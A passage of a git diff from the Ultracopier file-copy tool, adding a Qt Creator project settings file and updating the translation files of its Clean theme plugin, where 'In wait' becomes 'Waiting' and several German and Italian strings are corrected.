+ <valuelist type="QVariantList" key="Qt4ProjectManager.MakeStep.AutomaticallyAddedMakeArguments">
+ <value type="QString">-w</value>
+ <value type="QString">-r</value>
+ </valuelist>
+ <value type="bool" key="Qt4ProjectManager.MakeStep.Clean">false</value>
+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeArguments"></value>
+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeCommand"></value>
+ </valuemap>
+ <value type="int" key="ProjectExplorer.BuildStepList.StepsCount">2</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Build</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">ProjectExplorer.BuildSteps.Build</value>
+ </valuemap>
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildConfiguration.BuildStepList.1">
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildStepList.Step.0">
+ <value type="bool" key="ProjectExplorer.BuildStep.Enabled">true</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Make</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">Qt4ProjectManager.MakeStep</value>
+ <valuelist type="QVariantList" key="Qt4ProjectManager.MakeStep.AutomaticallyAddedMakeArguments">
+ <value type="QString">-w</value>
+ <value type="QString">-r</value>
+ </valuelist>
+ <value type="bool" key="Qt4ProjectManager.MakeStep.Clean">true</value>
+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeArguments">clean</value>
+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeCommand"></value>
+ </valuemap>
+ <value type="int" key="ProjectExplorer.BuildStepList.StepsCount">1</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Clean</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">ProjectExplorer.BuildSteps.Clean</value>
+ </valuemap>
+ <value type="int" key="ProjectExplorer.BuildConfiguration.BuildStepListCount">2</value>
+ <value type="bool" key="ProjectExplorer.BuildConfiguration.ClearSystemEnvironment">false</value>
+ <valuelist type="QVariantList" key="ProjectExplorer.BuildConfiguration.UserEnvironmentChanges"/>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Debug</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">Qt4ProjectManager.Qt4BuildConfiguration</value>
+ <value type="int" key="Qt4ProjectManager.Qt4BuildConfiguration.BuildConfiguration">2</value>
+ <value type="bool" key="Qt4ProjectManager.Qt4BuildConfiguration.UseShadowBuild">true</value>
+ </valuemap>
+ <valuemap type="QVariantMap" key="ProjectExplorer.Target.BuildConfiguration.1">
+ <value type="QString" key="ProjectExplorer.BuildConfiguration.BuildDirectory">/home/user/Desktop/ultracopier/sources/plugins-alternative/PluginLoader/build-pluginLoader-Qt5_5_2-Release</value>
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildConfiguration.BuildStepList.0">
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildStepList.Step.0">
+ <value type="bool" key="ProjectExplorer.BuildStep.Enabled">true</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">qmake</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">QtProjectManager.QMakeBuildStep</value>
+ <value type="bool" key="QtProjectManager.QMakeBuildStep.LinkQmlDebuggingLibrary">false</value>
+ <value type="bool" key="QtProjectManager.QMakeBuildStep.LinkQmlDebuggingLibraryAuto">true</value>
+ <value type="QString" key="QtProjectManager.QMakeBuildStep.QMakeArguments"></value>
+ <value type="bool" key="QtProjectManager.QMakeBuildStep.QMakeForced">false</value>
+ </valuemap>
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildStepList.Step.1">
+ <value type="bool" key="ProjectExplorer.BuildStep.Enabled">true</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Make</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">Qt4ProjectManager.MakeStep</value>
+ <valuelist type="QVariantList" key="Qt4ProjectManager.MakeStep.AutomaticallyAddedMakeArguments">
+ <value type="QString">-w</value>
+ <value type="QString">-r</value>
+ </valuelist>
+ <value type="bool" key="Qt4ProjectManager.MakeStep.Clean">false</value>
+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeArguments"></value>
+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeCommand"></value>
+ </valuemap>
+ <value type="int" key="ProjectExplorer.BuildStepList.StepsCount">2</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Build</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">ProjectExplorer.BuildSteps.Build</value>
+ </valuemap>
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildConfiguration.BuildStepList.1">
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildStepList.Step.0">
+ <value type="bool" key="ProjectExplorer.BuildStep.Enabled">true</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Make</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">Qt4ProjectManager.MakeStep</value>
+ <valuelist type="QVariantList" key="Qt4ProjectManager.MakeStep.AutomaticallyAddedMakeArguments">
+ <value type="QString">-w</value>
+ <value type="QString">-r</value>
+ </valuelist>
+ <value type="bool" key="Qt4ProjectManager.MakeStep.Clean">true</value>
+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeArguments">clean</value>
+ <value type="QString" key="Qt4ProjectManager.MakeStep.MakeCommand"></value>
+ </valuemap>
+ <value type="int" key="ProjectExplorer.BuildStepList.StepsCount">1</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Clean</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">ProjectExplorer.BuildSteps.Clean</value>
+ </valuemap>
+ <value type="int" key="ProjectExplorer.BuildConfiguration.BuildStepListCount">2</value>
+ <value type="bool" key="ProjectExplorer.BuildConfiguration.ClearSystemEnvironment">false</value>
+ <valuelist type="QVariantList" key="ProjectExplorer.BuildConfiguration.UserEnvironmentChanges"/>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Release</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">Qt4ProjectManager.Qt4BuildConfiguration</value>
+ <value type="int" key="Qt4ProjectManager.Qt4BuildConfiguration.BuildConfiguration">0</value>
+ <value type="bool" key="Qt4ProjectManager.Qt4BuildConfiguration.UseShadowBuild">true</value>
+ </valuemap>
+ <value type="int" key="ProjectExplorer.Target.BuildConfigurationCount">2</value>
+ <valuemap type="QVariantMap" key="ProjectExplorer.Target.DeployConfiguration.0">
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildConfiguration.BuildStepList.0">
+ <value type="int" key="ProjectExplorer.BuildStepList.StepsCount">0</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Deploy</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">ProjectExplorer.BuildSteps.Deploy</value>
+ </valuemap>
+ <value type="int" key="ProjectExplorer.BuildConfiguration.BuildStepListCount">1</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Deploy locally</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">ProjectExplorer.DefaultDeployConfiguration</value>
+ </valuemap>
+ <value type="int" key="ProjectExplorer.Target.DeployConfigurationCount">1</value>
+ <valuemap type="QVariantMap" key="ProjectExplorer.Target.PluginSettings"/>
+ <valuemap type="QVariantMap" key="ProjectExplorer.Target.RunConfiguration.0">
+ <valuelist type="QVariantList" key="Analyzer.Valgrind.AddedSuppressionFiles"/>
+ <value type="bool" key="Analyzer.Valgrind.Callgrind.CollectBusEvents">false</value>
+ <value type="bool" key="Analyzer.Valgrind.Callgrind.CollectSystime">true</value>
+ <value type="bool" key="Analyzer.Valgrind.Callgrind.EnableBranchSim">false</value>
+ <value type="bool" key="Analyzer.Valgrind.Callgrind.EnableCacheSim">false</value>
+ <value type="bool" key="Analyzer.Valgrind.Callgrind.EnableEventToolTips">true</value>
+ <value type="double" key="Analyzer.Valgrind.Callgrind.MinimumCostRatio">0.01</value>
+ <value type="double" key="Analyzer.Valgrind.Callgrind.VisualisationMinimumCostRatio">10</value>
+ <value type="bool" key="Analyzer.Valgrind.FilterExternalIssues">true</value>
+ <value type="int" key="Analyzer.Valgrind.LeakCheckOnFinish">1</value>
+ <value type="int" key="Analyzer.Valgrind.NumCallers">25</value>
+ <valuelist type="QVariantList" key="Analyzer.Valgrind.RemovedSuppressionFiles"/>
+ <value type="int" key="Analyzer.Valgrind.SelfModifyingCodeDetection">1</value>
+ <value type="bool" key="Analyzer.Valgrind.Settings.UseGlobalSettings">true</value>
+ <value type="bool" key="Analyzer.Valgrind.ShowReachable">false</value>
+ <value type="bool" key="Analyzer.Valgrind.TrackOrigins">true</value>
+ <value type="QString" key="Analyzer.Valgrind.ValgrindExecutable">valgrind</value>
+ <valuelist type="QVariantList" key="Analyzer.Valgrind.VisibleErrorKinds">
+ <value type="int">0</value>
+ <value type="int">1</value>
+ <value type="int">2</value>
+ <value type="int">3</value>
+ <value type="int">4</value>
+ <value type="int">5</value>
+ <value type="int">6</value>
+ <value type="int">7</value>
+ <value type="int">8</value>
+ <value type="int">9</value>
+ <value type="int">10</value>
+ <value type="int">11</value>
+ <value type="int">12</value>
+ <value type="int">13</value>
+ <value type="int">14</value>
+ </valuelist>
+ <value type="int" key="PE.EnvironmentAspect.Base">2</value>
+ <valuelist type="QVariantList" key="PE.EnvironmentAspect.Changes"/>
+ <value type="QString" key="ProjectExplorer.CustomExecutableRunConfiguration.Arguments"></value>
+ <value type="QString" key="ProjectExplorer.CustomExecutableRunConfiguration.Executable"></value>
+ <value type="bool" key="ProjectExplorer.CustomExecutableRunConfiguration.UseTerminal">false</value>
+ <value type="QString" key="ProjectExplorer.CustomExecutableRunConfiguration.WorkingDirectory">%{buildDir}</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Custom Executable</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">ProjectExplorer.CustomExecutableRunConfiguration</value>
+ <value type="uint" key="RunConfiguration.QmlDebugServerPort">3768</value>
+ <value type="bool" key="RunConfiguration.UseCppDebugger">false</value>
+ <value type="bool" key="RunConfiguration.UseCppDebuggerAuto">true</value>
+ <value type="bool" key="RunConfiguration.UseMultiProcess">false</value>
+ <value type="bool" key="RunConfiguration.UseQmlDebugger">false</value>
+ <value type="bool" key="RunConfiguration.UseQmlDebuggerAuto">true</value>
+ </valuemap>
+ <value type="int" key="ProjectExplorer.Target.RunConfigurationCount">1</value>
+ </valuemap>
+ </data>
+ <data>
+ <variable>ProjectExplorer.Project.TargetCount</variable>
+ <value type="int">1</value>
+ </data>
+ <data>
+ <variable>ProjectExplorer.Project.Updater.FileVersion</variable>
+ <value type="int">16</value>
+ </data>
+ <data>
+ <variable>Version</variable>
+ <value type="int">16</value>
+ </data>
+</qtcreator>
diff --git a/plugins-alternative/Themes/Clean/Languages/ar/translation.ts b/plugins-alternative/Themes/Clean/Languages/ar/translation.ts
index 81df74e..54104e3 100644
--- a/plugins-alternative/Themes/Clean/Languages/ar/translation.ts
+++ b/plugins-alternative/Themes/Clean/Languages/ar/translation.ts
@@ -4,7 +4,7 @@
<context>
<name>InterfacePlugin</name>
<message>
- <location filename="../../interface.cpp" line="145"/>
+ <location filename="../../interface.cpp" line="142"/>
<source>%1/%2 files, %3/%4</source>
<translation type="unfinished"></translation>
</message>
@@ -18,7 +18,7 @@
</message>
<message>
<location filename="../../interface.ui" line="44"/>
- <source>In wait</source>
+ <source>Waiting</source>
<translation type="unfinished"></translation>
</message>
<message>
diff --git a/plugins-alternative/Themes/Clean/Languages/de/translation.ts b/plugins-alternative/Themes/Clean/Languages/de/translation.ts
index 7ea1972..0a833ee 100644
--- a/plugins-alternative/Themes/Clean/Languages/de/translation.ts
+++ b/plugins-alternative/Themes/Clean/Languages/de/translation.ts
@@ -4,9 +4,9 @@
<context>
<name>InterfacePlugin</name>
<message>
- <location filename="../../interface.cpp" line="145"/>
+ <location filename="../../interface.cpp" line="142"/>
<source>%1/%2 files, %3/%4</source>
- <translation>%1/%2 dateien, %3/%4</translation>
+ <translation>%1/%2 Dateien, %3/%4</translation>
</message>
</context>
<context>
@@ -18,8 +18,8 @@
</message>
<message>
<location filename="../../interface.ui" line="44"/>
- <source>In wait</source>
- <translation>auf der Lauer</translation>
+ <source>Waiting</source>
+ <translation>Warten</translation>
</message>
<message>
<location filename="../../interface.ui" line="78"/>
@@ -34,22 +34,22 @@
<message>
<location filename="../../interface.ui" line="96"/>
<source>Move file(s)</source>
- <translation>Bewegen Sie Datei (en)</translation>
+ <translation>Datei (en) verschieben</translation>
</message>
<message>
<location filename="../../interface.ui" line="105"/>
<source>Move folder</source>
- <translation>bewegen Sie Ordner</translation>
+ <translation>Ordner verschieben</translation>
</message>
<message>
<location filename="../../interface.ui" line="114"/>
<source>Copy file(s)</source>
- <translation>Kopieren Sie die Datei (en)</translation>
+ <translation>Datei (en) kopieren</translation>
</message>
<message>
<location filename="../../interface.ui" line="123"/>
<source>Copy folder</source>
- <translation>kopieren Sie das Verzeichnis</translation>
+ <translation>Ordner kopieren</translation>
</message>
</context>
</TS>
diff --git a/plugins-alternative/Themes/Clean/Languages/el/translation.ts b/plugins-alternative/Themes/Clean/Languages/el/translation.ts
index 81df74e..54104e3 100644
--- a/plugins-alternative/Themes/Clean/Languages/el/translation.ts
+++ b/plugins-alternative/Themes/Clean/Languages/el/translation.ts
@@ -4,7 +4,7 @@
<context>
<name>InterfacePlugin</name>
<message>
- <location filename="../../interface.cpp" line="145"/>
+ <location filename="../../interface.cpp" line="142"/>
<source>%1/%2 files, %3/%4</source>
<translation type="unfinished"></translation>
</message>
@@ -18,7 +18,7 @@
</message>
<message>
<location filename="../../interface.ui" line="44"/>
- <source>In wait</source>
+ <source>Waiting</source>
<translation type="unfinished"></translation>
</message>
<message>
diff --git a/plugins-alternative/Themes/Clean/Languages/en/translation.ts b/plugins-alternative/Themes/Clean/Languages/en/translation.ts
new file mode 100644
index 0000000..d13892c
--- /dev/null
+++ b/plugins-alternative/Themes/Clean/Languages/en/translation.ts
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="en">
+<context>
+ <name>InterfacePlugin</name>
+ <message>
+ <location filename="../../interface.cpp" line="142"/>
+ <source>%1/%2 files, %3/%4</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interface</name>
+ <message>
+ <location filename="../../interface.ui" line="32"/>
+ <source>Action:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="44"/>
+ <source>Waiting</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="78"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="87"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="96"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="105"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="114"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="123"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Clean/Languages/es/translation.ts b/plugins-alternative/Themes/Clean/Languages/es/translation.ts
index 70b8246..8c54e8a 100644
--- a/plugins-alternative/Themes/Clean/Languages/es/translation.ts
+++ b/plugins-alternative/Themes/Clean/Languages/es/translation.ts
@@ -4,7 +4,7 @@
<context>
<name>InterfacePlugin</name>
<message>
- <location filename="../../interface.cpp" line="145"/>
+ <location filename="../../interface.cpp" line="142"/>
<source>%1/%2 files, %3/%4</source>
<translation>%1/%2 archivos, %3/%4</translation>
</message>
@@ -17,9 +17,13 @@
<translation>Acción:</translation>
</message>
<message>
- <location filename="../../interface.ui" line="44"/>
<source>In wait</source>
- <translation>En espera</translation>
+ <translation type="obsolete">En espera</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="44"/>
+ <source>Waiting</source>
+ <translation type="unfinished"></translation>
</message>
<message>
<location filename="../../interface.ui" line="78"/>
diff --git a/plugins-alternative/Themes/Clean/Languages/fr/translation.ts b/plugins-alternative/Themes/Clean/Languages/fr/translation.ts
index 51fd57f..bdc0621 100644
--- a/plugins-alternative/Themes/Clean/Languages/fr/translation.ts
+++ b/plugins-alternative/Themes/Clean/Languages/fr/translation.ts
@@ -4,7 +4,7 @@
<context>
<name>InterfacePlugin</name>
<message>
- <location filename="../../interface.cpp" line="145"/>
+ <location filename="../../interface.cpp" line="142"/>
<source>%1/%2 files, %3/%4</source>
<translation>%1/%2 fichiers, %3/%4</translation>
</message>
@@ -17,9 +17,8 @@
<translation>Action:</translation>
</message>
<message>
- <location filename="../../interface.ui" line="44"/>
<source>In wait</source>
- <translation>En attente</translation>
+ <translation type="obsolete">En attente</translation>
</message>
<message>
<location filename="../../interface.ui" line="96"/>
@@ -47,6 +46,11 @@
<translation>Ajouter un dossier</translation>
</message>
<message>
+ <location filename="../../interface.ui" line="44"/>
+ <source>Waiting</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<location filename="../../interface.ui" line="78"/>
<source>Add file</source>
<translation>Ajout de fichier</translation>
diff --git a/plugins-alternative/Themes/Clean/Languages/hi/translation.ts b/plugins-alternative/Themes/Clean/Languages/hi/translation.ts
index 81df74e..54104e3 100644
--- a/plugins-alternative/Themes/Clean/Languages/hi/translation.ts
+++ b/plugins-alternative/Themes/Clean/Languages/hi/translation.ts
@@ -4,7 +4,7 @@
<context>
<name>InterfacePlugin</name>
<message>
- <location filename="../../interface.cpp" line="145"/>
+ <location filename="../../interface.cpp" line="142"/>
<source>%1/%2 files, %3/%4</source>
<translation type="unfinished"></translation>
</message>
@@ -18,7 +18,7 @@
</message>
<message>
<location filename="../../interface.ui" line="44"/>
- <source>In wait</source>
+ <source>Waiting</source>
<translation type="unfinished"></translation>
</message>
<message>
diff --git a/plugins-alternative/Themes/Clean/Languages/hu/translation.ts b/plugins-alternative/Themes/Clean/Languages/hu/translation.ts
new file mode 100644
index 0000000..e5a3bcc
--- /dev/null
+++ b/plugins-alternative/Themes/Clean/Languages/hu/translation.ts
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="hu">
+<context>
+ <name>InterfacePlugin</name>
+ <message>
+ <location filename="../../interface.cpp" line="142"/>
+ <source>%1/%2 files, %3/%4</source>
+ <translation>%1/%2 fájl, %3/%4</translation>
+ </message>
+</context>
+<context>
+ <name>interface</name>
+ <message>
+ <location filename="../../interface.ui" line="32"/>
+ <source>Action:</source>
+ <translation>Művelet:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="44"/>
+ <source>Waiting</source>
+ <translation>Várakozás</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="78"/>
+ <source>Add file</source>
+ <translation>Fájl hozzáadása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="87"/>
+ <source>Add folder</source>
+ <translation>Mappa hozzáadása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="96"/>
+ <source>Move file(s)</source>
+ <translation>Fájl(ok) mozgatása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="105"/>
+ <source>Move folder</source>
+ <translation>Mappa mozgatása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="114"/>
+ <source>Copy file(s)</source>
+ <translation>Fájl(ok) másolása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="123"/>
+ <source>Copy folder</source>
+ <translation>Mappa másolása</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Clean/Languages/id/translation.ts b/plugins-alternative/Themes/Clean/Languages/id/translation.ts
index 81df74e..54104e3 100644
--- a/plugins-alternative/Themes/Clean/Languages/id/translation.ts
+++ b/plugins-alternative/Themes/Clean/Languages/id/translation.ts
@@ -4,7 +4,7 @@
<context>
<name>InterfacePlugin</name>
<message>
- <location filename="../../interface.cpp" line="145"/>
+ <location filename="../../interface.cpp" line="142"/>
<source>%1/%2 files, %3/%4</source>
<translation type="unfinished"></translation>
</message>
@@ -18,7 +18,7 @@
</message>
<message>
<location filename="../../interface.ui" line="44"/>
- <source>In wait</source>
+ <source>Waiting</source>
<translation type="unfinished"></translation>
</message>
<message>
diff --git a/plugins-alternative/Themes/Clean/Languages/it/translation.ts b/plugins-alternative/Themes/Clean/Languages/it/translation.ts
index b44bd5f..b94ac7b 100644
--- a/plugins-alternative/Themes/Clean/Languages/it/translation.ts
+++ b/plugins-alternative/Themes/Clean/Languages/it/translation.ts
@@ -4,9 +4,9 @@
<context>
<name>InterfacePlugin</name>
<message>
- <location filename="../../interface.cpp" line="145"/>
+ <location filename="../../interface.cpp" line="142"/>
<source>%1/%2 files, %3/%4</source>
- <translation></translation>
+ <translation>%1/%2 file, %3/%4</translation>
</message>
</context>
<context>
@@ -17,9 +17,13 @@
<translation>Azione:</translation>
</message>
<message>
- <location filename="../../interface.ui" line="44"/>
<source>In wait</source>
- <translation>In attesa</translation>
+ <translation type="obsolete">In attesa</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="44"/>
+ <source>Waiting</source>
+ <translation type="unfinished"></translation>
</message>
<message>
<location filename="../../interface.ui" line="78"/>
@@ -34,22 +38,22 @@
<message>
<location filename="../../interface.ui" line="96"/>
<source>Move file(s)</source>
- <translation>Spostare file(s)</translation>
+ <translation>Sposta file</translation>
</message>
<message>
<location filename="../../interface.ui" line="105"/>
<source>Move folder</source>
- <translation>Spostare la cartella</translation>
+ <translation>Sposta la cartella</translation>
</message>
<message>
<location filename="../../interface.ui" line="114"/>
<source>Copy file(s)</source>
- <translation>Copiare il file (s)</translation>
+ <translation>Copia file</translation>
</message>
<message>
<location filename="../../interface.ui" line="123"/>
<source>Copy folder</source>
- <translation>Copia la cartella</translation>
+ <translation>Copia cartella</translation>
</message>
</context>
</TS>
diff --git a/plugins-alternative/Themes/Clean/Languages/ja/translation.ts b/plugins-alternative/Themes/Clean/Languages/ja/translation.ts
index 81df74e..54104e3 100644
--- a/plugins-alternative/Themes/Clean/Languages/ja/translation.ts
+++ b/plugins-alternative/Themes/Clean/Languages/ja/translation.ts
@@ -4,7 +4,7 @@
<context>
<name>InterfacePlugin</name>
<message>
- <location filename="../../interface.cpp" line="145"/>
+ <location filename="../../interface.cpp" line="142"/>
<source>%1/%2 files, %3/%4</source>
<translation type="unfinished"></translation>
</message>
@@ -18,7 +18,7 @@
</message>
<message>
<location filename="../../interface.ui" line="44"/>
- <source>In wait</source>
+ <source>Waiting</source>
<translation type="unfinished"></translation>
</message>
<message>
diff --git a/plugins-alternative/Themes/Clean/Languages/ko/translation.ts b/plugins-alternative/Themes/Clean/Languages/ko/translation.ts
index 41627de..95d2138 100644
--- a/plugins-alternative/Themes/Clean/Languages/ko/translation.ts
+++ b/plugins-alternative/Themes/Clean/Languages/ko/translation.ts
@@ -4,7 +4,7 @@
<context>
<name>InterfacePlugin</name>
<message>
- <location filename="../../interface.cpp" line="+145"/>
+ <location filename="../../interface.cpp" line="+142"/>
<source>%1/%2 files, %3/%4</source>
<translation type="unfinished">%1/%2 파일, %3/%4</translation>
</message>
@@ -17,9 +17,13 @@
<translation type="unfinished">실행:</translation>
</message>
<message>
- <location line="+12"/>
<source>In wait</source>
- <translation type="unfinished">대기중</translation>
+ <translation type="obsolete">대기중</translation>
+ </message>
+ <message>
+ <location line="+12"/>
+ <source>Waiting</source>
+ <translation type="unfinished"></translation>
</message>
<message>
<location line="+34"/>
diff --git a/plugins-alternative/Themes/Clean/Languages/nl/translation.ts b/plugins-alternative/Themes/Clean/Languages/nl/translation.ts
index 81df74e..54104e3 100644
--- a/plugins-alternative/Themes/Clean/Languages/nl/translation.ts
+++ b/plugins-alternative/Themes/Clean/Languages/nl/translation.ts
@@ -4,7 +4,7 @@
<context>
<name>InterfacePlugin</name>
<message>
- <location filename="../../interface.cpp" line="145"/>
+ <location filename="../../interface.cpp" line="142"/>
<source>%1/%2 files, %3/%4</source>
<translation type="unfinished"></translation>
</message>
@@ -18,7 +18,7 @@
</message>
<message>
<location filename="../../interface.ui" line="44"/>
- <source>In wait</source>
+ <source>Waiting</source>
<translation type="unfinished"></translation>
</message>
<message>
diff --git a/plugins-alternative/Themes/Clean/Languages/no/translation.ts b/plugins-alternative/Themes/Clean/Languages/no/translation.ts
index 81df74e..54104e3 100644
--- a/plugins-alternative/Themes/Clean/Languages/no/translation.ts
+++ b/plugins-alternative/Themes/Clean/Languages/no/translation.ts
@@ -4,7 +4,7 @@
<context>
<name>InterfacePlugin</name>
<message>
- <location filename="../../interface.cpp" line="145"/>
+ <location filename="../../interface.cpp" line="142"/>
<source>%1/%2 files, %3/%4</source>
<translation type="unfinished"></translation>
</message>
@@ -18,7 +18,7 @@
</message>
<message>
<location filename="../../interface.ui" line="44"/>
- <source>In wait</source>
+ <source>Waiting</source>
<translation type="unfinished"></translation>
</message>
<message>
diff --git a/plugins-alternative/Themes/Clean/Languages/pl/translation.ts b/plugins-alternative/Themes/Clean/Languages/pl/translation.ts
index 81df74e..54104e3 100644
--- a/plugins-alternative/Themes/Clean/Languages/pl/translation.ts
+++ b/plugins-alternative/Themes/Clean/Languages/pl/translation.ts
@@ -4,7 +4,7 @@
<context>
<name>InterfacePlugin</name>
<message>
- <location filename="../../interface.cpp" line="145"/>
+ <location filename="../../interface.cpp" line="142"/>
<source>%1/%2 files, %3/%4</source>
<translation type="unfinished"></translation>
</message>
@@ -18,7 +18,7 @@
</message>
<message>
<location filename="../../interface.ui" line="44"/>
- <source>In wait</source>
+ <source>Waiting</source>
<translation type="unfinished"></translation>
</message>
<message>
diff --git a/plugins-alternative/Themes/Clean/Languages/ru/translation.ts b/plugins-alternative/Themes/Clean/Languages/ru/translation.ts
index 5f83874..36798e7 100644
--- a/plugins-alternative/Themes/Clean/Languages/ru/translation.ts
+++ b/plugins-alternative/Themes/Clean/Languages/ru/translation.ts
@@ -4,7 +4,7 @@
<context>
<name>InterfacePlugin</name>
<message>
- <location filename="../../interface.cpp" line="145"/>
+ <location filename="../../interface.cpp" line="142"/>
<source>%1/%2 files, %3/%4</source>
<translation>%1/%2 файлы, %3/%4</translation>
</message>
@@ -17,9 +17,13 @@
<translation>Действие:</translation>
</message>
<message>
- <location filename="../../interface.ui" line="44"/>
<source>In wait</source>
- <translation>В ожидании</translation>
+ <translation type="obsolete">В ожидании</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="44"/>
+ <source>Waiting</source>
+ <translation type="unfinished"></translation>
</message>
<message>
<location filename="../../interface.ui" line="78"/>
diff --git a/plugins-alternative/Themes/Clean/Languages/th/translation.ts b/plugins-alternative/Themes/Clean/Languages/th/translation.ts
index 81df74e..54104e3 100644
--- a/plugins-alternative/Themes/Clean/Languages/th/translation.ts
+++ b/plugins-alternative/Themes/Clean/Languages/th/translation.ts
@@ -4,7 +4,7 @@
<context>
<name>InterfacePlugin</name>
<message>
- <location filename="../../interface.cpp" line="145"/>
+ <location filename="../../interface.cpp" line="142"/>
<source>%1/%2 files, %3/%4</source>
<translation type="unfinished"></translation>
</message>
@@ -18,7 +18,7 @@
</message>
<message>
<location filename="../../interface.ui" line="44"/>
- <source>In wait</source>
+ <source>Waiting</source>
<translation type="unfinished"></translation>
</message>
<message>
diff --git a/plugins-alternative/Themes/Clean/Languages/tr/translation.ts b/plugins-alternative/Themes/Clean/Languages/tr/translation.ts
index 81df74e..54104e3 100644
--- a/plugins-alternative/Themes/Clean/Languages/tr/translation.ts
+++ b/plugins-alternative/Themes/Clean/Languages/tr/translation.ts
@@ -4,7 +4,7 @@
<context>
<name>InterfacePlugin</name>
<message>
- <location filename="../../interface.cpp" line="145"/>
+ <location filename="../../interface.cpp" line="142"/>
<source>%1/%2 files, %3/%4</source>
<translation type="unfinished"></translation>
</message>
@@ -18,7 +18,7 @@
</message>
<message>
<location filename="../../interface.ui" line="44"/>
- <source>In wait</source>
